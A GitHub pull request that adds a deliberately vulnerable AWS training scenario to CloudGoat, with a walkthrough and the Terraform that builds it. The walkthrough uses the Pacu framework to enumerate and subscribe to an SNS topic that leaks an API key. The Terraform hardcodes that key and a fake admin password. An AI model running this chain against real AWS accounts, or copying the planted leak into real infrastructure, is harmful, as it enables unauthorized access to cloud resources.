Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

New Scenario: SNS_Secrets #262

Open
wants to merge 27 commits into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from 25 commits
Commits
Show all changes
27 commits
Select commit Hold shift + click to select a range
6d7aa22
Initial scenario set-up
May 30, 2024
294269e
Have the EC2 publishing an SNS message with a placeholder secret
May 30, 2024
668345b
Added an API Gateway to the scenario. Still need to fix the API Gatew…
May 30, 2024
248ce89
- Scenario is fully working, just need to update some IAM Permissions
May 31, 2024
3fba19b
- Scenario is ready for testing
May 31, 2024
28af8bd
- Removed output variables I was using for dev purposes
May 31, 2024
14f23c2
- Patched in unintended method
May 31, 2024
fa498d2
- Added some basic info to the readme
May 31, 2024
bcc705e
- Added IAM permissions so users can enumerate their policy
May 31, 2024
aedc316
Added the exploitation route image
May 31, 2024
3e75af2
Update README.md
TeneBrae93 May 31, 2024
20221f6
Update README.md
TeneBrae93 May 31, 2024
c9b70b1
Update README.md
TeneBrae93 May 31, 2024
ffdb86d
Update README.md
TeneBrae93 May 31, 2024
51936ba
Update README.md
TeneBrae93 May 31, 2024
a59398f
Update README.md
TeneBrae93 May 31, 2024
6ee984f
fixed some typos
TeneBrae93 May 31, 2024
cab1826
- Decreased EC2 size
Jun 3, 2024
4357a5f
Update README.md
TeneBrae93 Jun 3, 2024
34e784a
Update README.md
TeneBrae93 Jun 3, 2024
8f9c05d
Update cheat_sheet.md
TeneBrae93 Jun 3, 2024
bd26873
Added TryHackme room
TeneBrae93 Jun 3, 2024
a9ec005
Added TryHackMe room to the cheat sheet
TeneBrae93 Jun 3, 2024
8b5674e
Added manifest.yml
Jun 4, 2024
5af0382
Fixed the flag
Jun 4, 2024
48a8a3b
Updated SNS Secrets Scenario
andrew-aiken Sep 12, 2024
4a86a2c
Merge pull request #271 from andrew-aiken/sns_secrets
TeneBrae93 Sep 12, 2024
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
9 changes: 9 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -89,6 +89,15 @@ $ docker run -it -v ~/.aws:/root/.aws/ rhinosecuritylabs/cloudgoat:latest

## Scenarios Available

### sns_secrets (Small / Easy)
`$ ./cloudgoat.py create sns_secrets`

In this scenario, you start with basic access to an AWS account. You need to enumerate your privileges, discover an SNS Topic you can subscribe to, retrieve a leaked API Key, and finally use the API Key to access an API Gateway for the final flag.

[Visit Scenario Page.](scenarios/sns_secrets/README.md)

Contributed by [Tyler Ramsbey.](https://youtube.com/@TylerRamsbey)

### vulnerable_lambda (Small / Easy)

`$ ./cloudgoat.py create vulnerable_lambda`
Expand Down
46 changes: 46 additions & 0 deletions scenarios/sns_secrets/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,46 @@
# Scenario: sns_secrets

**Size:** Small

**Difficulty:** Easy

**Command:** `$ ./cloudgoat.py create sns_secrets`

**TryHackMe Room:** [SNS Secrets Walkthrough](https://tryhackme.com/jr/snssecretswalkthrough)

## Scenario Resources

- 1 EC2 instance
- 1 SNS topic
- 1 API Gateway REST API
- 1 IAM role
- 1 IAM user

## Scenario Start(s)

1. AWS Access Key and Secret Key

## Scenario Goal(s)

Get the final flag by invoking the API Gateway with the leaked API key.

## Summary

In this scenario, you are given AWS credentials. Your task is to enumerate permissions and discover that you have the ability to list and subscribe to SNS topics. Use Pacu's new modules, "sns__enum" and "sns__subscribe," to subscribe to the topic. You will receive an email from the topic containing an API Key as a debug message. Next, use the AWS CLI to enumerate the API Gateways and find the path, method, stage, and resource of the API Gateway. Finally, perform a curl request with the API key to retrieve the final flag.

## Exploitation Route

![Lucidchart Diagram](exploitation_route.png "Exploitation Route")

## Walkthrough - SNS Secrets

1. Start by enumerating the permissions of the provided AWS access key and secret key.
2. Enumerate SNS topics using the `sns__enum` module in Pacu to list the available topics.
3. Subscribe to the identified SNS topic using the `sns__subscribe` module in Pacu.
4. Confirm the subscription via the email you receive.
5. Wait for the SNS topic to publish messages and check your email for a message containing an API Key.
6. Enumerate API Gateways using the AWS CLI to find the API Gateway path, method, stage, and resource.
7. Identify the correct method and stage for the API Gateway.
8. Use `curl` with the API Key to invoke the API Gateway and retrieve the final flag.

A detailed cheat sheet & walkthrough for this route is available [here](./cheat_sheet.md).
Binary file added scenarios/sns_secrets/apigateway-info.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
158 changes: 158 additions & 0 deletions scenarios/sns_secrets/cheat_sheet.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,158 @@
# SNS_Secrets Walkthrough

## Summary

In this scenario, you are provided with AWS credentials. You need to enumerate permissions and discover you can list and subscribe to SNS topics. You then use Pacu's new modules "sns__enum" and "sns__subscribe" to subscribe to the topic. You will receive an email from the topic with an API Key as a debug message. Then, use the AWS CLI to enumerate the API Gateways to find the API Gateway path, method, stage, and resource. Finally, do a curl request with the API key to get the final flag.

There is a detailed walkthrough on TryHackMe for this scenario: [SNS Secrets Walkthrough](https://tryhackme.com/jr/snssecretswalkthrough)

## Video Walkthrough
[![SNS_Secrets Video Walkthrough](https://i9.ytimg.com/vi/LBkuZa6niR0/mqdefault.jpg?v=665d1bd4&sqp=CIiU97IG&rs=AOn4CLAyCbeb1g5M58sdghxtQlC_dZECLw)](https://www.youtube.com/watch?v=LBkuZa6niR0)

## Detailed Walkthrough

### Configuring the AWS Keys

After launching the scenario, you will be provided with an Access Key ID and Secret Access Key for an IAM role. These allow you to interact with the AWS account from the IAM role using the CLI (Command Line Interface). You can set up an IAM profile with this command:

```bash
aws configure --profile sns-secrets
```

You will then be prompted for the Access Key ID, Secret, and Region. Provide the keys you received after launching the scenario. Below is an example (your keys will be different.)

```bash
AWS Access Key ID: AKIA2GIZ2CSU6NO2YIXU
TeneBrae93 marked this conversation as resolved.
Show resolved Hide resolved
AWS Secret Access Key: SYpZBG++MXkmdvmUL614A4XAAs9L88QRrMOBhqZ9
Default region name: us-east-1
Default output format [None]:
```

Finally, you can confirm access by running the AWS equivalent of “whoami”:

```bash
aws sts get-caller-identity --profile sns-secrets
```

This should return the UserId, Account, and ARN for the role to verify you have access.

### Discovering Permissions

Now that we have access to an IAM user in the AWS environment, we need to figure out what permissions we have. This can be done using the AWS CLI. First, we need to see what policies are connected to our user:
(Note: The username can be found in the output of the “aws sts get-caller-identity” command we ran previously).

```bash
aws iam list-user-policies --user-name [UserName] --profile sns-secrets
```

This command will return the policy name for our account. We can further enumerate this policy:

```bash
aws iam get-user-policy --user-name [UserName] --policy-name [PolicyName] --profile sns-secrets
```

The output of this command provides us with our policy; note our IAM User has permissions related to SNS, IAM, and API Gateway.

### Subscribing to SNS

Amazon Simple Notification Service (SNS) is a managed messaging service that enables you to send notifications to subscribers using various methods like email, SMS, and HTTP. It's often used for alerting, sending updates, and integrating different systems by delivering messages reliably and quickly. It's important to limit SNS access to specific users to ensure the security and integrity of your messaging system. Unrestricted access could lead to unauthorized users sending spam, triggering unnecessary alerts, or accessing sensitive information.

We can enumerate SNS with Pacu. Pacu is an open-source AWS exploitation framework, designed for offensive security testing against cloud environments. Instructions for installing Pacu are out-of-scope for this walkthrough but you can refer to the [official Pacu documentation on Github](https://github.com/RhinoSecurityLabs/pacu). Once Pacu is installed and a session is configured, you can import the profile you configured:

```bash
Pacu (sns-secrets:imported-sns-secrets) > import_keys sns-secrets
```

There are two modules for interacting with SNS; you can find these by searching within Pacu:

```bash
Pacu (sns-secrets:imported-sns-secrets) > search sns

[Category: ENUM]

List and describe Simple Notification Service topics

sns__enum

[Category: LATERAL_MOVE]

Subscribe to a Simple Notification Service (SNS) topic

sns__subscribe
```

Let’s begin with the “sns__enum” module. We can get more information with this command:

```bash
Pacu (sns-secrets:imported-sns-secrets) > help sns__enum
```

The module will attempt to list and gather information from Simple Notification Service topics. Let’s run it and see if it identifies an SNS topic we can access.

```bash
Pacu (sns-secrets:imported-sns-secrets) > run sns__enum --region us-east-1
```

We can see the topic by typing “data” to access the Pacu database for our session.

```bash
Pacu (sns-secrets:imported-sns-secrets) > data
```

Now that we have the full ARN of the SNS Topic, let’s check out the sns__subscribe module:

```bash
Pacu (sns-secrets:imported-sns-secrets) > help sns__subscribe
```

This module will attempt to subscribe to a topic based on the ARN via an email address. We need to provide it with the topic and an email.

```bash
Pacu (sns-secrets:imported-sns-secrets) > run sns__subscribe --topics [TopicARN] --email [Email Address]
```

After subscribing, you will need to go to your email and confirm the subscription:

![Confirm Subscription](confirm-subscription.png)

### Accessing the API Gateway

After subscribing to the topic, you will receive an SNS Message that leaks an API Key for a API Gateway.

![Leaked API Key](leaked-apikey.png)

Now that we have an API Key for an API Gateway, we need to identify the full URL to access the gateway. First, let’s try and retrieve basic information on the API:

```bash
aws apigateway get-rest-apis --profile sns-secrets --region us-east-1
```

This provides us with the ID of the API Gateway. Using this ID we can get the stages and resources:

```bash
aws apigateway get-stages --rest-api-id [API ID] --profile sns-secrets --region us-east-1
aws apigateway get-resources --rest-api-id [API ID] --profile sns-secrets --region us-east-1
```

These commands provide us with the following information:

- Stage Name
- Resource Path

![API Gateway Information](apigateway-info.png)

This information allows us to retrieve the full URL to the API Gateway:

```bash
https://[API-ID].execute-api.us-east-1.amazonaws.com/[stageName]/[resourcePath]
```

Finally, we can use a CURL request with the API Key to retrieve the final flag:

```bash
curl -X GET \
'https://[API-ID].execute-api.us-east-1.amazonaws.com/[stageName]/[resourcePath]' \
-H 'x-api-key: 45a3da610dc64703b10e273a4db135bf'
```

![Final Flag](final-flag.png)
Binary file added scenarios/sns_secrets/confirm-subscription.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added scenarios/sns_secrets/exploitation_route.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added scenarios/sns_secrets/final-flag.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added scenarios/sns_secrets/leaked-apikey.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
13 changes: 13 additions & 0 deletions scenarios/sns_secrets/manifest.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,13 @@
---
# The name of the scenario, alpha-numeric characters only, and underscore-separated
- name: sns_secrets
# The name of the author(s), comma separated
- author: Tyler Ramsbey
# The version of the scenario, where major versions are breaking changes and minor are small fixes.
- version: 1.0
# Text displayed to the user when they type "{{ scenario_name }} help"
- help: |
In this scenario, you are provided with AWS credentials. You need to enumerate permissions and discover you can list and subscribe to SNS topics. You then use Pacu's new modules "sns__enum" and "sns__subscribe" to subscribe to the topic. You will receive an email from the topic with an API Key as a debug message. Then, use the AWS CLI to enumerate the API Gateways to find the API Gateway path, method, stage, and resource. Finally, do a curl request with the API key to get the final flag.
# Records the date upon which this scenario was last updated, in MM-DD-YYYY format
- last-updated: 06-04-2024
...
92 changes: 92 additions & 0 deletions scenarios/sns_secrets/terraform/api_gateway.tf
Original file line number Diff line number Diff line change
@@ -0,0 +1,92 @@
resource "aws_api_gateway_rest_api" "cg_api" {
name = "cg-api-${var.cgid}"
description = "API for demonstrating leaked API key scenario"
tags = {
Name = "cg-api-${var.cgid}"
Stack = var.stack-name
Scenario = var.scenario-name
}
}

resource "aws_api_gateway_resource" "cg_resource" {
rest_api_id = aws_api_gateway_rest_api.cg_api.id
parent_id = aws_api_gateway_rest_api.cg_api.root_resource_id
path_part = "resource-${var.cgid}"
}

resource "aws_api_gateway_method" "cg_method" {
rest_api_id = aws_api_gateway_rest_api.cg_api.id
resource_id = aws_api_gateway_resource.cg_resource.id
http_method = "GET"
authorization = "NONE"
api_key_required = true
}

resource "aws_api_gateway_integration" "cg_integration" {
rest_api_id = aws_api_gateway_rest_api.cg_api.id
resource_id = aws_api_gateway_resource.cg_resource.id
http_method = aws_api_gateway_method.cg_method.http_method
type = "MOCK"
request_templates = {
"application/json" = "{\"statusCode\": 200}"
}
}

resource "aws_api_gateway_method_response" "cg_method_response" {
rest_api_id = aws_api_gateway_rest_api.cg_api.id
resource_id = aws_api_gateway_resource.cg_resource.id
http_method = aws_api_gateway_method.cg_method.http_method
status_code = "200"
}

resource "aws_api_gateway_integration_response" "cg_integration_response" {
TeneBrae93 marked this conversation as resolved.
Show resolved Hide resolved
rest_api_id = aws_api_gateway_rest_api.cg_api.id
resource_id = aws_api_gateway_resource.cg_resource.id
http_method = aws_api_gateway_method.cg_method.http_method
status_code = aws_api_gateway_method_response.cg_method_response.status_code
response_templates = {
"application/json" = <<EOF
{
"message": "Access granted.",
"user_data": {
"user_id": "1337",
"username": "SuperAdmin",
"email": "[email protected]",
"password": "p@ssw0rd123"
},
"final_flag": "FLAG{SNS_S3cr3ts_ar3_FUN}"
}
EOF
}
}

resource "aws_api_gateway_deployment" "cg_deployment" {
depends_on = [
aws_api_gateway_method.cg_method,
aws_api_gateway_integration.cg_integration,
aws_api_gateway_method_response.cg_method_response,
aws_api_gateway_integration_response.cg_integration_response
]
rest_api_id = aws_api_gateway_rest_api.cg_api.id
stage_name = "prod-${var.cgid}"
}

resource "aws_api_gateway_usage_plan" "cg_usage_plan" {
name = "cg-usage-plan-${var.cgid}"
api_stages {
api_id = aws_api_gateway_rest_api.cg_api.id
stage = aws_api_gateway_deployment.cg_deployment.stage_name
}
}

resource "aws_api_gateway_api_key" "cg_api_key" {
name = "cg-api-key-${var.cgid}"
enabled = true
value = "45a3da610dc64703b10e273a4db135bf"
}

resource "aws_api_gateway_usage_plan_key" "cg_usage_plan_key" {
key_id = aws_api_gateway_api_key.cg_api_key.id
key_type = "API_KEY"
usage_plan_id = aws_api_gateway_usage_plan.cg_usage_plan.id
}
Loading